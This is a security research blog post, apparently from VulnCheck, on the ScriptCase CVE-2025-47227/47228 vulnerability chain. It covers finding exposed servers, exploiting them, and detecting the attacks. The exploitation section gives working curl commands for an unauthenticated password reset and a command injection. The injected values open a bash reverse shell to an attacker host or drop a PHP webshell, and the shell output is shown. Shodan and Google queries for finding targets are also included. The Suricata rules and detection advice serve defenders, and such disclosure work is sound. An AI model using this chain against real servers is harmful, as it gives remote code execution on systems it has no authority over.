Key Takeaways
Introduction
One month ago, Synacktiv1 published their disclosure and deep dive on a vulnerability chain affecting ScriptCase. The vulnerabilities, CVE-2025-47227 and CVE-2025-47228, are an unauthenticated password reset and an authenticated command injection that, when combined, give an unauthenticated attacker full remote code execution. And yet, despite public disclosure, functional exploits, and available patches, hundreds of ScriptCase instances remain exposed on the Internet.
Does This Matter?
That leaves the obvious question: does this matter enough to go hunting?
At VulnCheck, one way we determine if a vulnerability matters is by looking for targets online. The logic is pretty easy: if there are zero targets online, well, who cares? If there are many targets online, then we care. If it’s somewhere in between 0 and many... it depends.
Naively, we started with a Shodan query of title:”ScriptCase”
. The results were annoying.
Annoying because they aren’t real ScriptCase servers at all. These are honeypots. Frankenpots that seemingly pollute every single query. We’ve written before about the problem in There are Too Many Damn Honeypots, and this is another textbook case.
But the fact that there are honeypots suggests that others care about ScriptCase too. So we grabbed a copy of the software, built a Shodan query2 to avoid the decoys, and, in a rare win, even got a Google dork3 to work (The AI-slopification of Google has largely destroyed good dorking, so this felt like a small miracle).
The VulnCheck Initial Access Intelligence team routinely develops queries for Shodan, FOFA, ZoomEye, and Censys to track down vulnerable targets. While building out our fingerprints for ScriptCase on these services, we also found that our friends over at driftnet had turned up a solid hit count of roughly 2,800 ScriptCase servers exposed to the Internet via their Scan Content
functionality.
Finally, it’s not just researchers looking for ScriptCase. GreyNoise is tracking4 a couple dozen known malicious IPs scanning specifically for /scriptcase/
. That’s proof attackers are on the hunt too.
At the end of the day, you’ve got all the ingredients to answer "does this matter?" There are discoverable targets online. There’s a public proof of concept. And attackers are actively looking for these systems. That matters.
Exploitation
If finding vulnerable ScriptCase servers is straightforward, exploiting them is even easier. Synacktiv’s blog and proof-of-concept5 go into detail, but the reality is that it boils down to just a few curl
commands. No custom tooling required.
The first request establishes a fixed PHPSESSID
, which we’ll carry through the rest of the chain.
curl -H "Cookie: PHPSESSID=fixated" -H "Accept-Language: en-us" http://10.9.49.69:8092/scriptcase/prod/lib/php/devel/iface/login.php
The second request generates the captcha we’ll need for the password reset. This is probably the one feature that will slow down mass exploitation from tools like Nuclei. Synacktiv’s GitHub exploit tries to solve it with OCR (which is incredibly cool!), but success isn’t guaranteed.
curl -H "Cookie: PHPSESSID=fixated" -H "Accept-Language: en-us" http://10.9.49.69:8092/scriptcase/prod/lib/php/devel/lib/php/secureimage.php -o /tmp/captcha.png
Opening the file will reveal the captcha text. On Linux, something like:
xdg-open /tmp/captcha.png
With the captcha value in hand, we can reset the password to one of our choosing, as long as it meets the requirements. Below we are setting the password to KLRxWQONIp41
.
curl -H "Cookie: PHPSESSID=fixated" -H "Accept-Language: en-us" http://10.9.49.69:8092/scriptcase/prod/lib/php/devel/iface/login.php -d "ajax=nm&nm_action=change_pass&email=email@email.com&pass_new=KLRxWQONIp41&pass_conf=KLRxWQONIp41&lang=en-us&captcha=TLEB"
Once the reset has been achieved, we can navigate to the production environment login page and authenticate with the new credentials.
Once authenticated, we land in the production environment.
With access to the production environment, we can move on to CVE-2025-47228, a command injection vulnerability in the connection creation and testing feature. The injection logic lives in a modified version of the third-party library ADOdb6. First, the command is built in $str_command
using attacker-provided variables.
function getSSHCommand($arr_ssh)
{
$hosts = "known_hosts";
if($this->getSO() != 'windows')
{
$hosts = "/tmp/known_hosts";
}
$str_command = "ssh -o UserKnownHostsFile=". $hosts ." -o StrictHostKeyChecking=no -fNg -L ". $arr_ssh['ssh_localportforwarding'] .":". $arr_ssh['ssh_localserver'] .":". $arr_ssh['ssh_localport'] ." ". $arr_ssh['ssh_user'] ."@". $arr_ssh['ssh_server'];
if(!empty($arr_ssh['ssh_port']))
{
$str_command .= " -p " . $arr_ssh['ssh_port'];
}
if(!empty($arr_ssh['ssh_privatecert']))
{
$arr_ssh['ssh_privatecert'] = str_replace("\\", "/", $arr_ssh['ssh_privatecert']);
if(strpos($arr_ssh['ssh_privatecert'], " ")!==false)
{
$arr_ssh['ssh_privatecert'] = '"' . $arr_ssh['ssh_privatecert'] . '"';
}
$str_command .= " -i " . $arr_ssh['ssh_privatecert'];
}
$str_command .= " sleep 60 > ";
$tmp = "null";
if($this->getSO() != 'windows')
{
$tmp = "/dev/null";
}
$str_command .= $tmp;
return $str_command;
}
And then it’s executed. Twice, in fact:
$cmd_qtd_conn_ssh = $str_unset_ld_library.'ps aux | grep "'.trim(str_replace(' > /dev/null','',$this->getSSHCommand($arr_ssh))).'" | grep -v grep | wc -l';
$qtd_conn_ssh = (int)trim(exec($cmd_qtd_conn_ssh));
if($qtd_conn_ssh == 0) {
$str_command = $str_unset_ld_library.$this->getSSHCommand($arr_ssh);
if($this->bol_sc_debug)
{
$time_start = $this->microtime_float();
$this->sc_start_debug("Connect SSH", $str_command, $time_start);
}
exec($str_command);
As you can see, there are multiple parameters we can inject commands into. For simplicity, I’ve selected ssh_server
below:
curl -v 'http://10.9.49.69:8092/scriptcase/prod/lib/php/devel/iface/admin_sys_allconections_test.php' \
-H 'Accept-Language: en-US' \
-H 'Cookie: PHPSESSID=fixated' \
--data-urlencode 'dbms=sqlite' \
--data-urlencode 'conn=conn_sqlite' \
--data-urlencode 'dbms=pdosqlite' \
--data-urlencode 'use_ssh=Y' \
--data-urlencode 'ssh_server=f; bash -c "bash &> /dev/tcp/10.9.49.196/1270 <&1;"'
When that request lands, our listener immediately catches a reverse shell from the target:
albinolobster@mournland:~$ nc -lvnp 1270
Listening on 0.0.0.0 1270
Connection received on 10.9.49.69 39470
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
ps --forest --format user,pid,cmd
USER PID CMD
daemon 24073 /opt/Scriptcase/v9-php81/components/apache/bin/fcgi-pm -k start -d /opt/Scriptcase/v9-php81/components/apache/bin/..
daemon 24077 \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24080 | \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24081 | \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24217 \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24218 | \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24219 | \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24226 \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24227 | \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 24228 | \_ /opt/Scriptcase/v9-php81/components/php/bin/php-cgi
daemon 32998 | \_ sh -c -- unset LD_LIBRARY_PATH && ssh -o UserKnownHostsFile=/tmp/known_hosts -o StrictHostKeyChecking=no -fNg -L :: @f; bash -c "bash &> /dev/tcp/10.9.49.185/1270 <&1;" sleep 60 > /dev/null
daemon 33000 | \_ bash -c bash &> /dev/tcp/10.9.49.185/1270 <&1; sleep 60
daemon 33001 | \_ bash
daemon 33019 | \_ ps --forest --format user,pid,cmd
That works fine for Linux-based installs, but many ScriptCase deployments are on Windows, and a bash reverse shell won’t help there. In that case, we can just drop a minimal PHP webshell instead:
curl -v 'http://10.9.49.52:8092/scriptcase/prod/lib/php/devel/iface/admin_sys_allconections_test.php' \
-H 'Accept-Language: en-US' \
-H 'Cookie: PHPSESSID=fixated' \
--data-urlencode 'dbms=sqlite' \
--data-urlencode 'conn=conn_sqlite' \
--data-urlencode 'dbms=pdosqlite' \
--data-urlencode 'use_ssh=Y' \
--data-urlencode 'ssh_server=f & echo ^<?php system($_GET["cmd"]); ?^> > hi.php &'
This drops a simple webshell to the ScriptCase iface
directory. With that in place, we can execute arbitrary commands without authentication:
albinolobster@mournland:~$ curl -kv http://10.9.49.52:8092/scriptcase/prod/lib/php/devel/iface/hi.php?cmd=whoami
* Trying 10.9.49.52:8092...
* TCP_NODELAY set
* Connected to 10.9.49.52 (10.9.49.52) port 8092 (#0)
> GET /scriptcase/prod/lib/php/devel/iface/hi.php?cmd=whoami HTTP/1.1
> Host: 10.9.49.52:8092
> User-Agent: curl/7.68.0
> Accept: */*
>
* Mark bundle as not supporting multiuse
< HTTP/1.1 200 OK
< Date: Tue, 12 Aug 2025 18:17:47 GMT
< Server: Apache/2.4.62 (Win64) mod_fcgid/2.3.10-dev
< X-Powered-By: PHP/8.1.31
< Transfer-Encoding: chunked
< Content-Type: text/html; charset=UTF-8
<
nt authority\system
* Connection #0 to host 10.9.49.52 left intact
With a webshell or reverse shell in place, the exploitation chain is complete, but that’s only half the story. For defenders, the question becomes: how do you spot this activity before or after it happens?
Detection
The VulnCheck Initial Access team arms our customers with more than just exploits. We deliver detections like version scanners, Suricata/Snort rules, Sigma rules, and more. The version scanner is often the most important starting point. Defenders should check whether their ScriptCase deployment is vulnerable. By default, the landing page exposes a version string in its HTML, which can be compared directly against patched releases.
The VulnCheck Initial Access team built a passive version scanner (see our writeup, VulnCheck Goes Scanless) to run across Shodan data, and 57% of observed instances still reported a vulnerable version.
Internet-facing SiteScript Vulnerability Status
On the network side, the two key exploitation steps, the unauthenticated password reset and the authenticated command injection, leave distinct HTTP paths and parameters that are easy to match. We’ve developed Suricata signatures to detect both stages, so defenders can spot exploitation attempts before they succeed.
alert http any any -> any any ( \
msg:"VULNCHECK NetMake ScriptCase CVE-2025-47227 Production Env Password Reset"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/prod/lib/php/devel/iface/login.php"; \
http.request_body; content:"nm_action="; \
content:"pass_new="; \
content:"pass_conf="; \
content:"email="; \
content:"captcha="; \
reference:cve,CVE-2025-47227; \
classtype:web-application-attack; \
sid:12700625; rev:1; \
metadata: deployment Datacenter, deployment SSLDecrypt;)
alert http any any -> any any ( \
msg:"VULNCHECK NetMake ScriptCase CVE-2025-47228 Connection Command Injection"; \
flow:established,to_server; \
http.method; content:"POST"; \
http.uri; content:"/prod/lib/php/devel/iface/admin_sys_allconections_test.php"; \
http.request_body; content:"dbms"; \
content:"dbms"; distance: 0; \
content:"use_ssh="; \
pcre:"/use_ssh=[y|%59|%79]/i"; \
pcre:"/ssh.*(\;|%3a|>|%3e|%26|\||%7c|\"|%22|\$|%24|'|%27|`|%60)/i"; \
reference:cve,CVE-2025-47228; \
classtype:web-application-attack; \
sid:12700631; rev:1; \
metadata: deployment Datacenter, deployment SSLDecrypt;)
On the host itself, exploitation on Windows creates a clear process chain: php-cgi.exe -> cmd.exe
with a command line containing the injected payload. In the example below, Procmon captures cmd.exe
launching as a direct result of the OS command injection.
In cases where the attacker drops a webshell instead of running commands directly, defenders should watch for unexpected files in:
<scriptface-webpath>\scriptcase\prod\lib\devel\iface\
This is the default drop location, but since exploitation lets the attacker choose the path, shells can be written anywhere the web server process has write access. Any new or modified PHP file in the ScriptCase webroot should be treated as suspicious, especially if it contains one-line system()
or eval()
calls.
Conclusion
Whether you’re hunting, exploiting, or defending, the playbook is straightforward: know how to find vulnerable targets, understand how the exploit chain works, and have clear detection and response strategies in place. The attackers looking for /scriptcase/
aren’t waiting for you to patch, and the sooner you close these holes, the less likely you are to see your own server in someone else’s shell prompt.
About VulnCheck
The VulnCheck Initial Access team is always searching for new systems to pop shells on. For more research like this, see our blogs Command Injection in Jenkins via Git Parameter, Novel Use of "mount" Spotted in Hikvision Attacks, The Linuxsys Coinmine, and Fileless Remote Code Execution on Juniper Firewalls.
Sign up on our website today to get free access to our VulnCheck KEV, enjoy our vulnerability data, and request a trial of our Initial Access Intelligence, IP Intelligence, and Exploit & Vulnerability Intelligence products.
References
Footnotes
- https://www.synacktiv.com/advisories/scriptcase-pre-authenticated-remote-command-execution ↩
- https://www.shodan.io/search?query=html%3A%27%3Cmeta+name%3D%22generator%22+content%3D%22ScriptCase%22%27 ↩
- https://www.google.com/search?q=inurl%3A%22nm_ini_manager2.php%22 ↩
- https://viz.greynoise.io/query/raw_data.web.paths:%22%2Fscriptcase%2F%22 ↩
- https://github.com/synacktiv/CVE-2025-47227_CVE-2025-47228/blob/master/exploit.py ↩
- https://github.com/ADOdb/ADOdb ↩